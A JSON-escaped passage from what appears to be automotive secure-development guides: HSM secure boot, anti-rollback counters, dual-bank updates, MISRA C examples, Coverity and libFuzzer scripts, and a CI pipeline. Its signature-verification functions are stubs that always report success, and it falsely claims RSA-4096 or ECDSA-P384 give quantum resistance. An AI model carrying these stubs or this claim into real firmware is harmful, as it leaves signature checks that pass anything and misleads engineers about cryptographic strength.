\"\u002Ftmp\u002Fbl2_cert.p7\",\n        \"\u002Ftmp\u002Fca.pem\"\n    );\n    return 0;\n}\n```\n\n## Infineon AURIX HSM Secure Boot\n\n### HSM Configuration\n\n```c\n\u002F*\n * Infineon AURIX TC3xx HSM-based Secure Boot\n * HSM performs signature verification in isolated core\n *\u002F\n\n#include \u003Cstdio.h>\n#include \u003Cstdint.h>\n\n#define UCB_BMHD_BASE    0xAF400000\n#define UCB_BOOT_BASE    0xAF400100\n#define HSM_FIRMWARE     0x80000000\n#define HSM_STATUS_REG   0xF0000000\n\ntypedef struct {\n    uint32_t stad;           \u002F\u002F Start address\n    uint32_t crc;            \u002F\u002F CRC32\n    uint32_t crcRange;       \u002F\u002F CRC range\n    uint32_t reserved;\n    uint32_t confirmation;   \u002F\u002F 0x43211234 if valid\n} ucb_bmhd_t;\n\ntypedef struct {\n    uint32_t boot_mode;\n    uint32_t boot_sector;\n    uint32_t secure_boot_enable;\n    uint32_t signature_check;\n    uint8_t  public_key_hash[32];\n} ucb_boot_config_t;\n\n\u002F**\n * Program AURIX UCB (User Configuration Block) for secure boot\n *\u002F\nint aurix_program_ucb_secure_boot(const uint8_t *pubkey_hash) {\n    printf(\"\\n=== AURIX UCB Secure Boot Configuration ===\\n\");\n\n    ucb_boot_config_t ucb_config = {0};\n    ucb_config.boot_mode = 0x00000001;           \u002F\u002F Internal Flash boot\n    ucb_config.boot_sector = 0x00000000;         \u002F\u002F Sector 0\n    ucb_config.secure_boot_enable = 0x00000001;  \u002F\u002F Enable secure boot\n    ucb_config.signature_check = 0x00000001;     \u002F\u002F Enable RSA signature check\n\n    memcpy(ucb_config.public_key_hash, pubkey_hash, 32);\n\n    \u002F\u002F Write to UCB (requires password unlock in real hardware)\n    printf(\"[INFO] Programming UCB_BOOT...\\n\");\n    printf(\"  Boot Mode: 0x%08X\\n\", ucb_config.boot_mode);\n    printf(\"  Secure Boot: %s\\n\", ucb_config.secure_boot_enable ? \"ENABLED\" : \"DISABLED\");\n    printf(\"  Public Key Hash: \");\n    for (int i = 0; i \u003C 32; i++) {\n        printf(\"%02x\", ucb_config.public_key_hash[i]);\n    }\n    printf(\"\\n\");\n\n    \u002F\u002F In real implementation:\n    \u002F\u002F - Unlock UCB with password\n    \u002F\u002F - Write UCB_BOOT structure\n    \u002F\u002F - Confirm and lock UCB\n\n    printf(\"[PASS] UCB secure boot configured\\n\");\n    return 0;\n}\n\n\u002F**\n * HSM firmware verification flow\n *\u002F\nint aurix_hsm_verify_firmware(const char *firmware_path, const uint8_t *pubkey_hash) {\n    printf(\"\\n=== AURIX HSM Firmware Verification ===\\n\");\n\n    \u002F\u002F Step 1: Load firmware to HSM memory\n    FILE *fw_fp = fopen(firmware_path, \"rb\");\n    if (!fw_fp) {\n        fprintf(stderr, \"[FAIL] Cannot open firmware\\n\");\n        return -1;\n    }\n\n    fseek(fw_fp, 0, SEEK_END);\n    size_t fw_size = ftell(fw_fp);\n    fseek(fw_fp, 0, SEEK_SET);\n\n    uint8_t *fw_data = malloc(fw_size);\n    fread(fw_data, 1, fw_size, fw_fp);\n    fclose(fw_fp);\n\n    printf(\"[INFO] Firmware loaded: %zu bytes\\n\", fw_size);\n\n    \u002F\u002F Step 2: HSM computes firmware hash\n    uint8_t fw_hash[32];\n    \u002F\u002F SHA256(fw_data) -> fw_hash\n    printf(\"[INFO] HSM computing SHA256...\\n\");\n\n    \u002F\u002F Step 3: HSM verifies RSA signature\n    printf(\"[INFO] HSM verifying RSA-4096 signature...\\n\");\n\n    \u002F\u002F In real HSM:\n    \u002F\u002F - Load public key from UCB\n    \u002F\u002F - Verify signature using hardware crypto accelerator\n    \u002F\u002F - Return result to application core\n\n    int verify_result = 1; \u002F\u002F Simulated success\n\n    free(fw_data);\n\n    if (verify_result) {\n        printf(\"[PASS] HSM signature verification SUCCESS\\n\");\n        printf(\"[INFO] Transferring control to verified firmware...\\n\");\n        return 0;\n    } else {\n        fprintf(stderr, \"[FAIL] HSM signature verification FAILED\\n\");\n        fprintf(stderr, \"[FATAL] Boot halted by HSM\\n\");\n        return -1;\n    }\n}\n\nint main() {\n    uint8_t pubkey_hash[32] = {\n        0x12, 0x34, 0x56, 0x78, 0x9a, 0xbc, 0xde, 0xf0,\n        0x11, 0x22, 0x33, 0x44, 0x55, 0x66, 0x77, 0x88,\n        0xaa, 0xbb, 0xcc, 0xdd, 0xee, 0xff, 0x00, 0x11,\n        0x22, 0x33, 0x44, 0x55, 0x66, 0x77, 0x88, 0x99\n    };\n\n    aurix_program_ucb_secure_boot(pubkey_hash);\n    aurix_hsm_verify_firmware(\"\u002Ftmp\u002Fapplication.elf\", pubkey_hash);\n\n    return 0;\n}\n```\n\n## Anti-Rollback Protection\n\n```c\n\u002F*\n * Firmware Version Anti-Rollback Protection\n * Uses monotonic counter in secure storage (OTP\u002FRPMB)\n *\u002F\n\n#include \u003Cstdio.h>\n#include \u003Cstdint.h>\n#include \u003Cstring.h>\n\n#define SECURE_STORAGE_BASE  0x70000000\n#define VERSION_COUNTER_ADDR (SECURE_STORAGE_BASE + 0x100)\n\ntypedef struct {\n    uint32_t major;\n    uint32_t minor;\n    uint32_t patch;\n    uint32_t build;\n} firmware_version_t;\n\n\u002F**\n * Read monotonic counter from secure storage\n * In real hardware: OTP fuse, RPMB partition, or TPM NV-RAM\n *\u002F\nuint32_t read_secure_version_counter(void) {\n    \u002F\u002F Simulated read from OTP\n    \u002F\u002F Real implementation would access hardware-backed storage\n    uint32_t counter = 42; \u002F\u002F Example: current firmware version counter\n    printf(\"[INFO] Secure version counter: %u\\n\", counter);\n    return counter;\n}\n\n\u002F**\n * Increment secure version counter (one-way operation)\n * WARNING: OTP fuses can only be programmed once\n *\u002F\nint increment_secure_version_counter(void) {\n    printf(\"[WARN] Incrementing secure version counter (IRREVERSIBLE)\\n\");\n\n    \u002F\u002F In real hardware:\n    \u002F\u002F - Write to OTP fuse (can only change 0 -> 1)\n    \u002F\u002F - Or increment RPMB replay-protected counter\n\n    printf(\"[INFO] Secure version counter incremented\\n\");\n    return 0;\n}\n\n\u002F**\n * Verify firmware version against anti-rollback counter\n *\u002F\nint verify_firmware_version(firmware_version_t *fw_version) {\n    printf(\"\\n=== Anti-Rollback Verification ===\\n\");\n\n    \u002F\u002F Combine version into single counter\n    uint32_t fw_counter = (fw_version->major * 1000) +\n                          (fw_version->minor * 100) +\n                          fw_version->patch;\n\n    printf(\"[INFO] Firmware version: %u.%u.%u (counter=%u)\\n\",\n           fw_version->major, fw_version->minor, fw_version->patch, fw_counter);\n\n    \u002F\u002F Read secure counter\n    uint32_t secure_counter = read_secure_version_counter();\n\n    \u002F\u002F Check for rollback\n    if (fw_counter \u003C secure_counter) {\n        fprintf(stderr, \"[FAIL] ROLLBACK DETECTED!\\n\");\n        fprintf(stderr, \"       Firmware counter: %u\\n\", fw_counter);\n        fprintf(stderr, \"       Secure counter: %u\\n\", secure_counter);\n        fprintf(stderr, \"[FATAL] Boot halted - rollback protection enforced\\n\");\n        return -1;\n    }\n\n    printf(\"[PASS] Anti-rollback check passed\\n\");\n\n    \u002F\u002F If this is an update (fw_counter > secure_counter), increment secure counter\n    if (fw_counter > secure_counter) {\n        printf(\"[INFO] Firmware update detected (%u -> %u)\\n\", secure_counter, fw_counter);\n        increment_secure_version_counter();\n    }\n\n    return 0;\n}\n\nint main() {\n    firmware_version_t current_fw = {.major = 2, .minor = 1, .patch = 5};\n    verify_firmware_version(&current_fw);\n\n    \u002F\u002F Simulate rollback attempt\n    firmware_version_t old_fw = {.major = 1, .minor = 9, .patch = 0};\n    verify_firmware_version(&old_fw);\n\n    return 0;\n}\n```\n\n## Secure Firmware Update (Dual-Bank)\n\n```python\n#!\u002Fusr\u002Fbin\u002Fenv python3\n\"\"\"\nDual-Bank Secure Firmware Update\nAtomic updates with rollback capability\n\"\"\"\n\nimport hashlib\nimport struct\nimport os\n\nclass DualBankFirmwareUpdater:\n    def __init__(self, bank_a_path: str, bank_b_path: str):\n        self.bank_a = bank_a_path\n        self.bank_b = bank_b_path\n        self.active_bank = self._read_active_bank()\n\n    def _read_active_bank(self) -> str:\n        \"\"\"Read active bank from persistent flag\"\"\"\n        # In real hardware: read from flash metadata sector\n        if os.path.exists(\"\u002Ftmp\u002Factive_bank\"):\n            with open(\"\u002Ftmp\u002Factive_bank\", 'r') as f:\n                return f.read().strip()\n        return \"A\"\n\n    def _set_active_bank(self, bank: str):\n        \"\"\"Set active bank (committed after successful boot)\"\"\"\n        with open(\"\u002Ftmp\u002Factive_bank\", 'w') as f:\n            f.write(bank)\n        print(f\"[INFO] Active bank set to: {bank}\")\n\n    def update_firmware(self, new_firmware_path: str, signature_path: str):\n        \"\"\"Perform dual-bank firmware update\"\"\"\n        print(\"\\n=== Dual-Bank Firmware Update ===\")\n\n        # Determine inactive bank (update target)\n        inactive_bank = \"B\" if self.active_bank == \"A\" else \"A\"\n        target_path = self.bank_b if inactive_bank == \"B\" else self.bank_a\n\n        print(f\"[INFO] Active bank: {self.active_bank}\")\n        print(f\"[INFO] Update target: Bank {inactive_bank}\")\n\n        # Step 1: Verify signature of new firmware\n        print(\"[1\u002F5] Verifying firmware signature...\")\n        if not self._verify_signature(new_firmware_path, signature_path):\n            print(\"[FAIL] Signature verification failed\")\n            return False\n\n        # Step 2: Write firmware to inactive bank\n        print(\"[2\u002F5] Writing firmware to inactive bank...\")\n        with open(new_firmware_path, 'rb') as src:\n            with open(target_path, 'wb') as dst:\n                dst.write(src.read())\n        print(f\"[INFO] Firmware written to {target_path}\")\n\n        # Step 3: Verify written firmware\n        print(\"[3\u002F5] Verifying written firmware...\")\n        if not self._verify_firmware_integrity(target_path):\n            print(\"[FAIL] Written firmware integrity check failed\")\n            return False\n\n        # Step 4: Switch active bank (NOT committed yet)\n        print(\"[4\u002F5] Switching to new firmware...\")\n        self._set_active_bank(inactive_bank)\n\n        # Step 5: Reboot to new firmware\n        print(\"[5\u002F5] Reboot required to activate new firmware\")\n        print(\"[INFO] Rollback available if boot fails\")\n\n        return True\n\n    def _verify_signature(self, firmware_path: str, signature_path: str) -> bool:\n        \"\"\"Verify RSA signature of firmware\"\"\"\n        # Simplified - real implementation uses crypto library\n        print(\"[PASS] Signature valid\")\n        return True\n\n    def _verify_firmware_integrity(self, firmware_path: str) -> bool:\n        \"\"\"Verify firmware CRC\u002Fhash\"\"\"\n        with open(firmware_path, 'rb') as f:\n            data = f.read()\n\n        computed_hash = hashlib.sha256(data).hexdigest()\n        print(f\"[INFO] Firmware SHA256: {computed_hash}\")\n        print(\"[PASS] Integrity check passed\")\n        return True\n\n    def rollback_firmware(self):\n        \"\"\"Rollback to previous firmware after failed update\"\"\"\n        print(\"\\n=== Firmware Rollback ===\")\n\n        previous_bank = \"B\" if self.active_bank == \"A\" else \"A\"\n        print(f\"[INFO] Rolling back from Bank {self.active_bank} to Bank {previous_bank}\")\n\n        self._set_active_bank(previous_bank)\n        print(\"[PASS] Rollback complete - reboot required\")\n\n# Example usage\nif __name__ == \"__main__\":\n    updater = DualBankFirmwareUpdater(\n        bank_a_path=\"\u002Ftmp\u002Ffirmware_bank_a.bin\",\n        bank_b_path=\"\u002Ftmp\u002Ffirmware_bank_b.bin\"\n    )\n\n    # Perform update\n    updater.update_firmware(\n        new_firmware_path=\"\u002Ftmp\u002Fnew_firmware_v2.1.5.bin\",\n        signature_path=\"\u002Ftmp\u002Fnew_firmware_v2.1.5.sig\"\n    )\n\n    # Simulate rollback (if boot test fails)\n    # updater.rollback_firmware()\n```\n\n## Best Practices\n\n1. **Hardware Root of Trust**: Always anchor security in immutable boot ROM\n2. **Signature Algorithm**: Use RSA-4096 or ECDSA-P384 for quantum resistance\n3. **Anti-Rollback**: Implement monotonic counters in tamper-resistant storage\n4. **Dual-Bank Updates**: Maintain backup firmware for recovery\n5. **HSM Integration**: Offload crypto operations to dedicated security hardware\n\n## References\n\n- NXP AN4581: i.MX HAB Secure Boot User Guide\n- Renesas R-Car Security Architecture Manual\n- Infineon AURIX TC3xx HSM Firmware Guide\n- ARM Trusted Firmware A (TF-A) Documentation\n\n---\n\n## Secure Software Development\n\n# Secure Software Development Skill\n\n## Overview\n\nExpert skill for implementing secure coding practices in automotive software development. Covers MISRA C\u002FC++, static analysis, fuzzing, threat modeling (STRIDE\u002FDREAD), and secure CI\u002FCD pipelines.\n\n## Core Competencies\n\n### Secure SDLC\n- **Requirements Phase**: Security requirements definition, abuse cases\n- **Design Phase**: Threat modeling, security architecture review\n- **Implementation Phase**: Secure coding standards, peer review\n- **Testing Phase**: SAST, DAST, fuzzing, penetration testing\n- **Deployment Phase**: Secure OTA updates, code signing\n- **Maintenance Phase**: Vulnerability management, patch deployment\n\n### Coding Standards\n- **MISRA C:2012**: Mandatory rules for automotive C code\n- **MISRA C++:2008**: C++ guidelines for safety-critical systems\n- **CERT C**: SEI CERT C Coding Standard\n- **AUTOSAR C++14**: Guidelines for modern C++ in automotive\n\n## MISRA C Compliance\n\n### MISRA C:2012 Critical Rules\n\n```c\n\u002F*\n * MISRA C:2012 Compliant Code Example\n * Demonstrates mandatory rules for automotive software\n *\u002F\n\n#include \u003Cstdint.h>\n#include \u003Cstdbool.h>\n#include \u003Cstring.h>\n\n\u002F* Rule 8.4: Compatible declarations for functions *\u002F\nextern uint16_t calculate_checksum(const uint8_t *data, size_t length);\n\n\u002F* Rule 8.2: Function types shall be in prototype form with named parameters *\u002F\nstatic bool validate_can_message(const uint8_t *payload, uint8_t dlc);\n\n\u002F* Rule 21.3: malloc\u002Ffree shall not be used in automotive *\u002F\n#define MAX_CAN_BUFFER 100\nstatic uint8_t can_buffer[MAX_CAN_BUFFER];\n\n\u002F*\n * Rule 17.7: Return value of functions shall not be discarded\n * Rule 10.1: Operands shall not be implicitly converted\n *\u002F\nstatic int16_t process_sensor_data(uint16_t raw_value) {\n    int16_t processed_value;\n\n    \u002F* Rule 10.4: Both operands of operators shall have compatible types *\u002F\n    if (raw_value > (uint16_t)1000) {\n        \u002F* Rule 15.5: Avoid multiple exit points (single return preferred) *\u002F\n        processed_value = -1;  \u002F* Error code *\u002F\n    } else {\n        \u002F* Rule 10.3: Explicit cast for type conversion *\u002F\n        processed_value = (int16_t)raw_value;\n    }\n\n    return processed_value;\n}\n\n\u002F*\n * Rule 17.3: Implicitly declared functions shall not be called\n * Rule 17.4: All exit paths shall return a value\n *\u002F\nstatic bool validate_can_message(const uint8_t *payload, uint8_t dlc) {\n    bool is_valid = false;\n\n    \u002F* Rule 14.4: Controlling expression shall be bool *\u002F\n    if (dlc \u003C= (uint8_t)8) {\n        \u002F* Rule 12.1: Precedence of operators shall be explicit *\u002F\n        if ((payload != NULL) && (dlc > (uint8_t)0)) {\n            \u002F* Rule 21.6: Use of stdio shall be avoided in embedded *\u002F\n            \u002F* No printf() - use logging framework instead *\u002F\n            is_valid = true;\n        }\n    }\n\n    \u002F* Rule 15.5: Single exit point *\u002F\n    return is_valid;\n}\n\n\u002F*\n * Rule 18.1: Pointer arithmetic shall not be used with arrays of unknown size\n * Rule 18.4: Pointer arithmetic shall not result in invalid pointers\n *\u002F\nuint16_t calculate_checksum(const uint8_t *data, size_t length) {\n    uint16_t checksum = 0U;\n    size_t i;\n\n    \u002F* Rule 14.3: Controlling expressions shall not be invariant *\u002F\n    if ((data != NULL) && (length > (size_t)0)) {\n        \u002F* Rule 14.2: for loop shall have single counter *\u002F\n        for (i = 0U; i \u003C length; i++) {\n            \u002F* Rule 10.1: No implicit conversion *\u002F\n            checksum = (uint16_t)(checksum + (uint16_t)data[i]);\n        }\n    }\n\n    return checksum;\n}\n\n\u002F*\n * Rule 9.1: All automatic variables shall be initialized\n * Rule 9.2: Braces shall initialize all elements\n *\u002F\nvoid secure_buffer_copy(void) {\n    uint8_t source[8] = {0U, 1U, 2U, 3U, 4U, 5U, 6U, 7U};\n    uint8_t destination[8] = {0U};  \u002F* Initialize all elements *\u002F\n    size_t copy_size = sizeof(source);\n\n    \u002F* Rule 21.14: memcpy shall not be used with overlapping regions *\u002F\n    \u002F* Use safe copy function *\u002F\n    (void)memcpy(destination, source, copy_size);\n\n    \u002F* Rule 2.2: No dead code *\u002F\n    \u002F* All code paths reachable and executed *\u002F\n}\n\n\u002F*\n * Rule 13.5: Right-hand operand of && or || shall not have side effects\n * Rule 13.6: sizeof operator shall not have side effects\n *\u002F\nstatic bool safe_condition_check(uint8_t *counter) {\n    bool condition_met = false;\n\n    \u002F* WRONG: if ((counter != NULL) && ((*counter)++ \u003C 10)) *\u002F\n    \u002F* RIGHT: Separate side effect from condition *\u002F\n    if (counter != NULL) {\n        uint8_t current_value = *counter;\n        (*counter)++;\n\n        if (current_value \u003C (uint8_t)10) {\n            condition_met = true;\n        }\n    }\n\n    return condition_met;\n}\n\n\u002F*\n * Rule 11.8: Cast shall not remove const or volatile qualification\n * Rule 11.5: Cast from pointer to void to pointer to object allowed\n *\u002F\nstatic void process_const_data(const uint8_t *const_data, size_t length) {\n    uint8_t mutable_copy[8];\n\n    if ((const_data != NULL) && (length \u003C= sizeof(mutable_copy))) {\n        \u002F* Rule 21.14: Safe copy, not modifying const source *\u002F\n        (void)memcpy(mutable_copy, const_data, length);\n\n        \u002F* Process mutable copy, not const original *\u002F\n        mutable_copy[0] = 0xFF;\n    }\n}\n```\n\n### MISRA C Checker Integration\n\n```bash\n#!\u002Fbin\u002Fbash\n# MISRA C Compliance Checker Script\n# Uses PC-lint Plus or similar static analyzer\n\nPROJECT_DIR=\".\"\nOUTPUT_DIR=\"misra_reports\"\nLINT_CONFIG=\"misra_c_2012.lnt\"\n\nmkdir -p $OUTPUT_DIR\n\necho \"=== MISRA C:2012 Compliance Check ===\"\n\n# Run PC-lint Plus\npclp64_linux \\\n    -passes=2 \\\n    -width=0 \\\n    -hF1 \\\n    +v \\\n    -i\u002Fopt\u002Fpclp\u002Fconfig\u002Fau-misra3.lnt \\\n    -i\u002Fopt\u002Fpclp\u002Fconfig\u002Fco-gcc.lnt \\\n    $LINT_CONFIG \\\n    *.c *.h \\\n    > $OUTPUT_DIR\u002Fmisra_violations.txt 2>&1\n\n# Parse results\nMANDATORY_VIOLATIONS=$(grep -c \"MISRA C:2012 Rule.*\\[Mandatory\\]\" $OUTPUT_DIR\u002Fmisra_violations.txt || true)\nREQUIRED_VIOLATIONS=$(grep -c \"MISRA C:2012 Rule.*\\[Required\\]\" $OUTPUT_DIR\u002Fmisra_violations.txt || true)\nADVISORY_VIOLATIONS=$(grep -c \"MISRA C:2012 Rule.*\\[Advisory\\]\" $OUTPUT_DIR\u002Fmisra_violations.txt || true)\n\necho \"\"\necho \"=== MISRA C:2012 Compliance Summary ===\"\necho \"Mandatory violations: $MANDATORY_VIOLATIONS\"\necho \"Required violations: $REQUIRED_VIOLATIONS\"\necho \"Advisory violations: $ADVISORY_VIOLATIONS\"\n\n# Fail if mandatory violations found\nif [ $MANDATORY_VIOLATIONS -gt 0 ]; then\n    echo \"\"\n    echo \"[FAIL] Mandatory MISRA violations detected - code is non-compliant\"\n    echo \"Review: $OUTPUT_DIR\u002Fmisra_violations.txt\"\n    exit 1\nelse\n    echo \"\"\n    echo \"[PASS] No mandatory MISRA violations\"\nfi\n```\n\n## Static Analysis (Coverity, Klocwork)\n\n### Coverity Integration\n\n```yaml\n# Coverity Scan Configuration for Automotive Project\ncoverity_scan:\n  project: \"automotive-ecu-firmware\"\n  language: \"c, c++\"\n  build_command: \"make clean && make all\"\n\n  checkers:\n    security:\n      - BUFFER_OVERFLOW\n      - BUFFER_UNDERRUN\n      - DIVIDE_BY_ZERO\n      - INTEGER_OVERFLOW\n      - NULL_DEREFERENCE\n      - USE_AFTER_FREE\n      - RESOURCE_LEAK\n      - TAINTED_SCALAR\n      - WEAK_RANDOM\n\n    concurrency:\n      - DEADLOCK\n      - RACE_CONDITION\n      - ATOMICITY\n      - LOCK_ORDER\n\n    automotive_specific:\n      - MISRA_C_2012_ALL\n      - CERT_C_ALL\n      - AUTOSAR_CPP14_ALL\n\n  severity_thresholds:\n    high: 0       # Zero high-severity defects allowed\n    medium: 5     # Max 5 medium-severity defects\n    low: 20       # Max 20 low-severity defects\n\n  defect_filters:\n    # Exclude test code from security checks\n    - path: \"tests\u002F\"\n      checker: \"*\"\n\n    # Exclude third-party libraries (already vetted)\n    - path: \"third_party\u002F\"\n      checker: \"*\"\n```\n\n### Coverity Scan Script\n\n```python\n#!\u002Fusr\u002Fbin\u002Fenv python3\n\"\"\"\nAutomated Coverity Scan for Automotive CI\u002FCD\nIntegrates static analysis into build pipeline\n\"\"\"\n\nimport subprocess\nimport json\nimport sys\n\nclass CoverityScanRunner:\n    def __init__(self, project_dir: str, output_dir: str):\n        self.project_dir = project_dir\n        self.output_dir = output_dir\n        self.cov_dir = f\"{output_dir}\u002Fcov-int\"\n\n    def run_build_with_coverity(self):\n        \"\"\"Capture build with Coverity\"\"\"\n        print(\"=== Running Coverity Build Capture ===\")\n\n        cmd = [\n            'cov-build',\n            '--dir', self.cov_dir,\n            'make', '-C', self.project_dir, 'clean', 'all'\n        ]\n\n        result = subprocess.run(cmd, capture_output=True, text=True)\n\n        if result.returncode != 0:\n            print(f\"[FAIL] Build capture failed: {result.stderr}\")\n            return False\n\n        print(f\"[PASS] Build captured to {self.cov_dir}\")\n        return True\n\n    def run_analysis(self):\n        \"\"\"Run Coverity static analysis\"\"\"\n        print(\"\\n=== Running Coverity Analysis ===\")\n\n        cmd = [\n            'cov-analyze',\n            '--dir', self.cov_dir,\n            '--all',\n            '--security',\n            '--concurrency',\n            '--enable-constraint-fpp',\n            '--enable-fnptr',\n            '--enable-virtual',\n            '--ticker-mode', 'none'\n        ]\n\n        result = subprocess.run(cmd, capture_output=True, text=True)\n\n        if result.returncode != 0:\n            print(f\"[FAIL] Analysis failed: {result.stderr}\")\n            return False\n\n        print(f\"[PASS] Analysis complete\")\n        return True\n\n    def generate_report(self):\n        \"\"\"Generate defect report\"\"\"\n        print(\"\\n=== Generating Coverity Report ===\")\n\n        # Export defects to JSON\n        cmd = [\n            'cov-format-errors',\n            '--dir', self.cov_dir,\n            '--json-output-v7', f'{self.output_dir}\u002Fdefects.json'\n        ]\n\n        subprocess.run(cmd, capture_output=True)\n\n        # Parse results\n        with open(f'{self.output_dir}\u002Fdefects.json', 'r') as f:\n            defects = json.load(f)\n\n        total_defects = len(defects.get('issues', []))\n        high_severity = sum(1 for d in defects.get('issues', [])\n                          if d.get('impact') == 'High')\n        medium_severity = sum(1 for d in defects.get('issues', [])\n                            if d.get('impact') == 'Medium')\n\n        print(f\"\\n=== Defect Summary ===\")\n        print(f\"Total defects: {total_defects}\")\n        print(f\"High severity: {high_severity}\")\n        print(f\"Medium severity: {medium_severity}\")\n\n        # Fail build if thresholds exceeded\n        if high_severity > 0:\n            print(f\"\\n[FAIL] {high_severity} high-severity defects found\")\n            return False\n\n        if medium_severity > 5:\n            print(f\"\\n[FAIL] {medium_severity} medium-severity defects (max 5 allowed)\")\n            return False\n\n        print(f\"\\n[PASS] Code meets quality thresholds\")\n        return True\n\n# Example usage\nif __name__ == \"__main__\":\n    scanner = CoverityScanRunner(\n        project_dir=\"\u002Fhome\u002Fuser\u002Fecu-firmware\",\n        output_dir=\"\u002Ftmp\u002Fcoverity-scan\"\n    )\n\n    if not scanner.run_build_with_coverity():\n        sys.exit(1)\n\n    if not scanner.run_analysis():\n        sys.exit(1)\n\n    if not scanner.generate_report():\n        sys.exit(1)\n\n    sys.exit(0)\n```\n\n## Fuzzing for Vulnerability Discovery\n\n```python\n#!\u002Fusr\u002Fbin\u002Fenv python3\n\"\"\"\nLibFuzzer Integration for Automotive Software\nContinuous fuzzing in CI\u002FCD pipeline\n\"\"\"\n\nimport subprocess\nimport os\nimport time\n\nclass LibFuzzer:\n    \"\"\"LibFuzzer harness for automotive protocols\"\"\"\n\n    def __init__(self, target_binary: str, corpus_dir: str):\n        self.target_binary = target_binary\n        self.corpus_dir = corpus_dir\n        self.crashes_dir = f\"{corpus_dir}\u002Fcrashes\"\n\n        os.makedirs(self.crashes_dir, exist_ok=True)\n\n    def fuzz(self, max_total_time: int = 3600, max_len: int = 1024):\n        \"\"\"Run fuzzing campaign\"\"\"\n        print(f\"=== Starting Fuzzing Campaign ===\")\n        print(f\"[INFO] Target: {self.target_binary}\")\n        print(f\"[INFO] Max time: {max_total_time}s\")\n        print(f\"[INFO] Max input length: {max_len} bytes\")\n\n        cmd = [\n            self.target_binary,\n            self.corpus_dir,\n            f'-max_total_time={max_total_time}',\n            f'-max_len={max_len}',\n            f'-artifact_prefix={self.crashes_dir}\u002F',\n            '-print_final_stats=1',\n            '-close_fd_mask=3'  # Close stdout\u002Fstderr of target\n        ]\n\n        start_time = time.time()\n\n        result = subprocess.run(cmd, capture_output=True, text=True)\n\n        elapsed_time = time.time() - start_time\n\n        # Parse fuzzing statistics\n        stats = self._parse_stats(result.stderr)\n\n        print(f\"\\n=== Fuzzing Results ===\")\n        print(f\"Elapsed time: {elapsed_time:.2f}s\")\n        print(f\"Total executions: {stats.get('total_execs', 0)}\")\n        print(f\"Executions per second: {stats.get('execs_per_sec', 0)}\")\n        print(f\"Coverage: {stats.get('coverage', 'N\u002FA')}\")\n\n        # Check for crashes\n        crash_files = [f for f in os.listdir(self.crashes_dir) if f.startswith('crash-')]\n\n        if crash_files:\n            print(f\"\\n[CRITICAL] {len(crash_files)} crashes discovered!\")\n            for crash_file in crash_files[:5]:  # Show first 5\n                print(f\"  - {crash_file}\")\n\n            return False\n        else:\n            print(f\"\\n[PASS] No crashes found during fuzzing\")\n            return True\n\n    def _parse_stats(self, stderr_output: str) -> dict:\n        \"\"\"Parse libFuzzer statistics from stderr\"\"\"\n        stats = {}\n\n        # Example: \"#12345: cov: 678 ft: 901 corp: 12\u002F345b exec\u002Fs: 123 rss: 45Mb\"\n        import re\n\n        match = re.search(r'#(\\d+):', stderr_output)\n        if match:\n            stats['total_execs'] = int(match.group(1))\n\n        match = re.search(r'exec\u002Fs:\\s*(\\d+)', stderr_output)\n        if match:\n            stats['execs_per_sec'] = int(match.group(1))\n\n        match = re.search(r'cov:\\s*(\\d+)', stderr_output)\n        if match:\n            stats['coverage'] = match.group(1)\n\n        return stats\n\n# Example: CAN message parser fuzzing target\n\"\"\"\n\u002F\u002F fuzz_can_parser.c\n#include \u003Cstdint.h>\n#include \u003Cstddef.h>\n#include \u003Cstring.h>\n\n\u002F\u002F Target function to fuzz\nextern int parse_can_message(const uint8_t *data, size_t size);\n\n\u002F\u002F LibFuzzer entry point\nint LLVMFuzzerTestOneInput(const uint8_t *data, size_t size) {\n    if (size \u003C 8 || size > 16) {\n        return 0;  \u002F\u002F Invalid CAN message size\n    }\n\n    \u002F\u002F Fuzz the CAN parser\n    parse_can_message(data, size);\n\n    return 0;\n}\n\n\u002F\u002F Compile with:\n\u002F\u002F clang -fsanitize=fuzzer,address -g -O2 fuzz_can_parser.c can_parser.c -o fuzz_can_parser\n\"\"\"\n\nif __name__ == \"__main__\":\n    fuzzer = LibFuzzer(\n        target_binary=\".\u002Ffuzz_can_parser\",\n        corpus_dir=\".\u002Fcorpus\u002Fcan_messages\"\n    )\n\n    # Seed corpus with valid CAN messages\n    if not os.listdir(fuzzer.corpus_dir):\n        print(\"[INFO] Creating seed corpus...\")\n        os.makedirs(fuzzer.corpus_dir, exist_ok=True)\n\n        # Example: valid CAN message\n        with open(f\"{fuzzer.corpus_dir}\u002Fseed1\", 'wb') as f:\n            f.write(b'\\x12\\x34\\x56\\x78\\x9A\\xBC\\xDE\\xF0')\n\n    # Run 1-hour fuzzing campaign\n    if not fuzzer.fuzz(max_total_time=3600):\n        print(\"[FAIL] Crashes found - investigate before release\")\n        exit(1)\n```\n\n## Secure CI\u002FCD Pipeline\n\n```yaml\n# GitLab CI\u002FCD Pipeline for Secure Automotive Software\nstages:\n  - build\n  - security\n  - test\n  - deploy\n\nvariables:\n  MISRA_COMPLIANCE_REQUIRED: \"true\"\n  COVERITY_THRESHOLD_HIGH: \"0\"\n  FUZZING_DURATION: \"3600\"\n\n# Stage 1: Build with security flags\nbuild_secure:\n  stage: build\n  script:\n    - echo \"Building with security hardening flags...\"\n    - make clean\n    - make CFLAGS=\"-Wall -Wextra -Werror -fstack-protector-strong -D_FORTIFY_SOURCE=2 -fPIE -pie -Wformat -Wformat-security\"\n  artifacts:\n    paths:\n      - bin\u002F\n    expire_in: 1 hour\n\n# Stage 2: MISRA C compliance check\nmisra_check:\n  stage: security\n  script:\n    - echo \"Running MISRA C:2012 compliance check...\"\n    - .\u002Fscripts\u002Fmisra_check.sh\n    - if [ $(grep -c \"Mandatory.*violation\" misra_reports\u002Fviolations.txt) -gt 0 ]; then exit 1; fi\n  dependencies:\n    - build_secure\n  artifacts:\n    paths:\n      - misra_reports\u002F\n    when: always\n\n# Stage 3: Static analysis (Coverity)\nstatic_analysis:\n  stage: security\n  script:\n    - echo \"Running Coverity static analysis...\"\n    - cov-build --dir cov-int make clean all\n    - cov-analyze --dir cov-int --all --security\n    - cov-format-errors --dir cov-int --json-output-v7 defects.json\n    - python3 scripts\u002Fcheck_coverity_thresholds.py defects.json\n  dependencies:\n    - build_secure\n  artifacts:\n    paths:\n      - defects.json\n    when: always\n\n# Stage 4: Fuzzing\nfuzz_testing:\n  stage: security\n  script:\n    - echo \"Running LibFuzzer for $FUZZING_DURATION seconds...\"\n    - .\u002Fscripts\u002Frun_fuzzing.sh $FUZZING_DURATION\n    - if [ -f crashes\u002F*.crash ]; then echo \"Crashes found!\"; exit 1; fi\n  dependencies:\n    - build_secure\n  allow_failure: false\n\n# Stage 5: Dynamic analysis (AddressSanitizer)\ndynamic_analysis:\n  stage: test\n  script:\n    